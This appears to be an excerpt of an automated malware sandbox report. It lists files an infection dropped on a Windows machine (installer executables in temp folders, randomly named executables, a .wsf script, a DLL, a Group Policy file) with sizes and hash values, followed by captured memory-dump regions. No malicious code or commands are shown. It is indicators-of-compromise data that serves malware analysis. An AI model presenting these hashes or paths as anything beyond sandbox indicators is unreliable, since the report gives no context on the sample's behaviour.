SHA512
edd3da74514051a3ebd0af32edb191dd9f10ef7d90c8297588e63888214338013c641474125ddca654e9ba21d553fc1a302a5bd24639356677915b3667a9dee8

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ifb4waqr.default-release\prefs.js

Filesize
6KB

MD5
078f92cb08d140d85701298bee9d1f2b

SHA1
b8be54e126b3d0dfcec56258716e311f4ffffa2d

SHA256
d5d1b781b6f150eb2d848419c1ee29258e57ca8e5b7d0e111f25f5d0697da1e2

SHA512
4dd7c3ba96909ca91fb432760d9cc41fc825fb7b48d96726568037c6b46f5e1a2fe87060e81efd493fbe2d787590ce15421743a885a11fcd322b1e8f7b60bf2b

Download Submit
C:\Windows\Temp\QqEAMUespgTHJnVz\ZOVHsZmP\rjNJUDoCQnGTgfVS.wsf

Filesize
9KB

MD5
86dd881059454c40ff1994c27602d2c2

SHA1
9888d43123a79c7cc4708e5f12987bdca21fc8e0

SHA256
ac70e2209aabeb8224c9be29bdaf485247e5705c371fb90037a311292d68ac94

SHA512
8656386fd6235839038029ce24e6ca2cae3cd344cc03cdd76ae151ae245ad94c7c9692b779c62b94c1cd05d16aa53902636bae59949d2370cfcc349cd3ae34d9

Download Submit
C:\Windows\Temp\QqEAMUespgTHJnVz\sVZSXSEP\rizBTHb.dll

Filesize
6.5MB

MD5
21e3965bd08eabf0ee24dd9d17dc0d5c

SHA1
8680d90f50ed3caf0b617a1cf512c664bdbd7be8

SHA256
570e0b2d996c3151a08c5042555500988b7eca34c2126d335e06da13ce772f4a

SHA512
9b5662e11db22c04c3f4463e493c28b5ef2a7a997e644a6cad8f38d8df2947f8f14b049d0d2136b4e98a53db9db94c5a2ff613b8cdbaa2c7107a46f855c81a3e

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol

Filesize
6KB

MD5
d97e18f6faed7d70e7513409a124f7a3

SHA1
5ee122d68844e47bf7bb17920e626a8afbe1b7e2

SHA256
f42326cf5b194f7811086906f8fb4c5753fd6a6f2be74211629d297caa34d3bd

SHA512
4a4e692baf2737b7be14d38f24e5faed265f02d35087b0405e70f45e39615ddd17e015ae7bcda434ffe58b880a8edb15a60fee25ad1eb60cd98f85d629bb92a3

Download Submit
\Users\Admin\AppData\Local\Temp\7zS83EF.tmp\Install.exe

Filesize
6.3MB

MD5
ed183069dc2bda09cdec22ee3dd204fa

SHA1
1ae742ebbdf91626a034b2038fb00673f2851b0e

SHA256
d50a8266ab4877c01cf8164f4228bcc65d29c32dd732e29ffa54ecd4e096863f

SHA512
5bb0d40c1ac70b7784abca19f9874e237d7ae37c6747653e1c37b4b0d2384aa53ca133c1a83b431317bdb4bbb8754a97765e065fac64390eed89326aae64de15

Download Submit
\Users\Admin\AppData\Local\Temp\7zS85F2.tmp\Install.exe

Filesize
6.7MB

MD5
a5dca05edc6eda6e2acfe7ca41641cc5

SHA1
b772813e63a424ae31a2bd75c0067be03aae0165

SHA256
986e2f087fe32332daf7215461a103fa25d86209ab704e29a81dc419435367ae

SHA512
c3d865918176c064e638d2c892cb2ef45bc722fa9f3b4e1fb10ca6886054ff2d37cd9fd97fff08cdd95a017374109495bf48069fdc67355b34729fae654da2ed

Download Submit
\Users\Admin\AppData\Local\Temp\{104A6290-D490-4572-A8DD-19FA4EE383CC}.tmp\360P2SP.dll

Filesize
824KB

MD5
fc1796add9491ee757e74e65cedd6ae7

SHA1
603e87ab8cb45f62ecc7a9ef52d5dedd261ea812

SHA256
bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60

SHA512
8fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d

Download Submit
\Users\Admin\Pictures\UOSmxrTRpVyIwzOrj8zKSAcX.exe

Filesize
7.3MB

MD5
f74fcc245dd45e9616656097665698b9

SHA1
dd2ad813cd1da59bcb19d6b81dbd60215b9bb987

SHA256
d1654381b2f43e13d88f2decbabe9695d09467fc26762f72f5dab3f43b0bd96e

SHA512
bead6f116b6d0d683389f323240acfcf717ae98b9c5d86c77c5d57dcca084abed6ccb6a4cc31b09a43bb368450a0645643200b65ab4260321c3f2b3b2d98a509

Download Submit
\Users\Admin\Pictures\WW13yFL0yat0CDaYgStWFD7M.exe

Filesize
1.5MB

MD5
cd4acedefa9ab5c7dccac667f91cef13

SHA1
bff5ce910f75aeae37583a63828a00ae5f02c4e7

SHA256
dd0e8944471f44180dd44807d817e0b8a1c931fc67d48278cdb7354d98567e7c

SHA512
06fae66da503eb1b9b4fbe63a5bb98c519a43999060029c35fe289e60b1cb126a6278c67ce90f02e05b893fcaea6d54f9deb65bc6da82561487a7754f50c93d1

Download Submit
\Users\Admin\Pictures\pfCuKx1ecdIfKnUPveAqX44x.exe

Filesize
428KB

MD5
384cc82bf0255c852430dc13e1069276

SHA1
26467194c29d444e5373dfdde2ff2bca1c12ef9a

SHA256
ba2567627674eada0b5462b673cdea4ed11a063174c87b775927db7e7d6ef99c

SHA512
7838ee81a8d13c3722627424270ac877081afc399be862ce9b1614a1df3c12f98066d28f2a9a81bcf626f14fe90d83ef8039cd679f40851f2d6d83c3839e73be

Download Submit
memory/572-185-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/572-186-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/672-120-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/672-121-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/1072-261-0x0000000001380000-0x00000000013DD000-memory.dmp

Filesize
372KB

Download
memory/1072-454-0x0000000003C00000-0x0000000003CDA000-memory.dmp

Filesize
872KB

Download
memory/1072-444-0x0000000003150000-0x00000000031D2000-memory.dmp

Filesize
520KB

Download
memory/1072-217-0x0000000010000000-0x00000000105CF000-memory.dmp

Filesize
5.8MB

Download
memory/1072-229-0x00000000020C0000-0x0000000002145000-memory.dmp

Filesize
532KB

Download
memory/1536-477-0x00000000015A0000-0x0000000001B6F000-memory.dmp

Filesize
5.8MB

Download
memory/1780-162-0x0000000010000000-0x00000000105CF000-memory.dmp

Filesize
5.8MB

Download
memory/1840-196-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/1840-195-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/1988-208-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2364-174-0x0000000010000000-0x00000000105CF000-memory.dmp

Filesize
5.8MB

Download
memory/2528-27-0x000007FEF5223000-0x000007FEF5224000-memory.dmp

Filesize
4KB

Download
memory/2528-159-0x000007FEF5223000-0x000007FEF5224000-memory.dmp

Filesize
4KB

Download
memory/2528-98-0x00000000005D0000-0x0000000000638000-memory.dmp

Filesize
416KB

Download
memory/2528-28-0x0000000000340000-0x000000000034A000-memory.dmp

Filesize
40KB

Download
memory/2868-4-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2868-0-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2868-6-0x0000000074080000-0x000000007476E000-memory.dmp

Filesize
6.9MB

Download
memory/2868-5-0x000000007408E000-0x000000007408F000-memory.dmp

Filesize
4KB

Download
memory/2868-123-0x000000007408E000-0x000000007408F000-memory.dmp

Filesize
4KB

Download
memory/2868-2-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2868-124-0x0000000074080000-0x000000007476E000-memory.dmp

Filesize
6.9MB

Download
memory/3040-101-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3040-103-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3040-109-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3040-108-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3040-111-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3040-107-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/3040-105-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3040-99-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download